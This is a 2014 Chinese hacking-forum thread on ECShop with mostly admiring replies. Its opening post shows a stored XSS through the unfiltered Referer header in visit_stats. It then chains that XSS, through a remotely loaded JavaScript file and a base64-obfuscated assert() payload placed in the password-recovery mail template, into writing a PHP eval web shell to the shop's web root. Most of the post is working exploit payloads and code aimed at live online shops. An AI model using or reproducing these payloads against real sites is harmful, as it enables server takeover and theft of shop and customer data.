查看: 15319|回复: 7

ecshop过滤不严导致上万网店可被getshell(需一定条件)

[复制链接]
  • TA的每日心情
    慵懒
    2022-4-16 15:45
  • 签到天数: 247 天

    [LV.8]以坛为家I

    发表于 2014-12-8 10:01:14 | 显示全部楼层 |阅读模式
    1.includes/lib_main.php过滤不严导致XSS

    看代码
    [AppleScript] 纯文本查看 复制代码
    function visit_stats()
    {
        if (isset($GLOBALS['_CFG']['visit_stats']) && $GLOBALS['_CFG']['visit_stats'] == 'off')
        {
            return;
        }
        $time = gmtime();
        /* 检查客户端是否存在访问统计的cookie */
        $visit_times = (!empty($_COOKIE['ECS']['visit_times'])) ? intval($_COOKIE['ECS']['visit_times']) + 1 : 1;
        setcookie('ECS[visit_times]', $visit_times, $time + 86400 * 365, '/');
    
        $browser  = get_user_browser();
        $os       = get_os();
        $ip       = real_ip();
        $area     = ecs_geoip($ip);
    
        /* 语言 */
        if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']))
        {
            $pos  = strpos($_SERVER['HTTP_ACCEPT_LANGUAGE'], ';');
            $lang = addslashes(($pos !== false) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, $pos) : $_SERVER['HTTP_ACCEPT_LANGUAGE']);
        }
        else
        {
            $lang = '';
        }
    
        /* 来源 */
        if (!empty($_SERVER['HTTP_REFERER']) && strlen($_SERVER['HTTP_REFERER']) > 9)
        {
            $pos = strpos($_SERVER['HTTP_REFERER'], '/', 9);//
            if ($pos !== false)
            {
                $domain = substr($_SERVER['HTTP_REFERER'], 0, $pos);
                $path   = substr($_SERVER['HTTP_REFERER'], $pos);
    
                /* 来源关键字 */
                if (!empty($domain) && !empty($path))
                {
                    save_searchengine_keyword($domain, $path);
                }
            }
            else
            {
                $domain = $path = '';
            }
        }
        else
        {
            $domain = $path = '';
        }
    
        $sql = 'INSERT INTO ' . $GLOBALS['ecs']->table('stats') . ' ( ' .
                    'ip_address, visit_times, browser, system, language, area, ' .
                    'referer_domain, referer_path, access_url, access_time' .
                ') VALUES (' .
                    "'$ip', '$visit_times', '$browser', '$os', '$lang', '$area', ".
                    "'" . addslashes($domain) ."', '" . addslashes($path) ."', '" . addslashes(PHP_SELF) ."', '" . $time . "')";
        $GLOBALS['db']->query($sql);//$domain 从$_SERVER取出,只是简单的addslashes一下,没有过滤html标签
    }


    取出时也没有过滤,于是产生漏洞

    我们来构造一下REFERER

    访问首页,构造Referer值为'></graph>"><IMG SRC='' onerror=javascript:alert('XSS')>/

    提交,如图,
    05185555fbc6f9ae1a48ab8a86c7ca833bda647d.png
    管理员查看流量分析时触发,如图
    05185643eb09e9c2008152e4680d8474b06f9b42.png
    05185657079a0a85222776297a2f750eb7bccd19.png
    2.打cookie多没意思,咱们getshell吧

    构造Referer值为--></script>/

    提交

    再次构造Referer值为'></graph>"><script src="http:\\\\127.0.0.1\\demo.js"><!--/

    提交(src后面的js地址必须用反斜杠)

    demo.js内容为
    [AppleScript] 纯文本查看 复制代码
    Ajax.call('mail_template.php?is_ajax=1&amp;act=save_template', "subject=%C3%DC%C2%EB%D5%D2%BB%D8&amp;mail_type=0&amp;tpl=1&amp;content=%7B%24u%27%5D%3Bassert%28base64_decode%28%27ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7%3D%3D%27%29%29%3B+%2F%2F_var%5B%27%7D%3C%3F" , a, "POST", "JSON");/*写php代码到取回密码邮件模板,会员执行取回密码时执行php代码*/
    Ajax.call('../user.php?act=get_password','act=send_pwd_email&amp;user_name=vip&amp;email=vip@ecshop.com', a , "POST", "JSON");/*前台取回密码.这里的vip和[email]vip@ecshop.com[/email]为前台会员帐号和邮箱,我懒得注册了就用这个测试*/
    function a(){
    alert('');
    }

    触发后,会在网店根目录生成一个test.php的文件,内容为<?php @eval($_POST['a']);?>

    这里利用的是写php代码到取回密码邮件模板,执行取回密码操作时执行写入的代码

    漏洞在includes\cls_template.php的fetch_str()函数
    [AppleScript] 纯文本查看 复制代码
    {
            if (!defined('ECS_ADMIN'))
            {
                $source = $this-&gt;smarty_prefilter_preCompile($source);
            }
            $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);//过滤了部分php关键词
     
            if(preg_match_all('~(&lt;\?(?:\w+|=)?|\?&gt;|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
            {  
                $sp_match[1] = array_unique($sp_match[1]);
                for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp &lt; $for_max2; $curr_sp++)
                {
                    $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
                }
                 for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp &lt; $for_max2; $curr_sp++)
                {
                     $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '&lt;?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?&gt;'."\n", $source);
                }
             }
     
             return preg_replace("/{([^\}\{\n]*)}/e", "\$this-&gt;select('\\1');", $source);
        }

    我们可以构造代码到取回邮件模板:
    [AppleScript] 纯文本查看 复制代码
    {$u'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7==')); //_var['}&lt;?
    

    执行取回操作即可绕过过滤执行我们构造的代码

    评分

    参与人数 2i币 +26 收起 理由
    csadsl + 2 感谢分享
    mianhua + 24 支持原创

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情
    奋斗
    2017-8-21 09:22
  • 签到天数: 181 天

    [LV.7]常住居民III

    发表于 2014-12-8 12:41:37 | 显示全部楼层
    又是一个好帖啊
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-8-27 01:19
  • 签到天数: 50 天

    [LV.5]常住居民I

    发表于 2014-12-8 12:50:26 | 显示全部楼层
    原谅小学生看不懂
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2015-8-14 20:30
  • 签到天数: 15 天

    [LV.4]偶尔看看III

    发表于 2014-12-8 16:48:21 | 显示全部楼层
    好像很强大的样子。
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    慵懒
    2017-1-15 18:41
  • 签到天数: 412 天

    [LV.9]以坛为家II

    发表于 2014-12-8 20:09:27 | 显示全部楼层
    好流弊。。。。
    回复 支持 反对

    使用道具 举报

    头像被屏蔽

    该用户从未签到

    发表于 2014-12-10 09:27:33 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2017-6-1 14:33
  • 签到天数: 97 天

    [LV.6]常住居民II

    发表于 2014-12-10 13:23:54 | 显示全部楼层
    果然是技术流啊,成为核心就是这么给力!
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    擦汗
    2016-4-26 16:21
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2014-12-10 22:16:13 | 显示全部楼层
    JJ 威武 霸气啊。
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-23 00:09 , Processed in 0.035391 second(s), 20 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部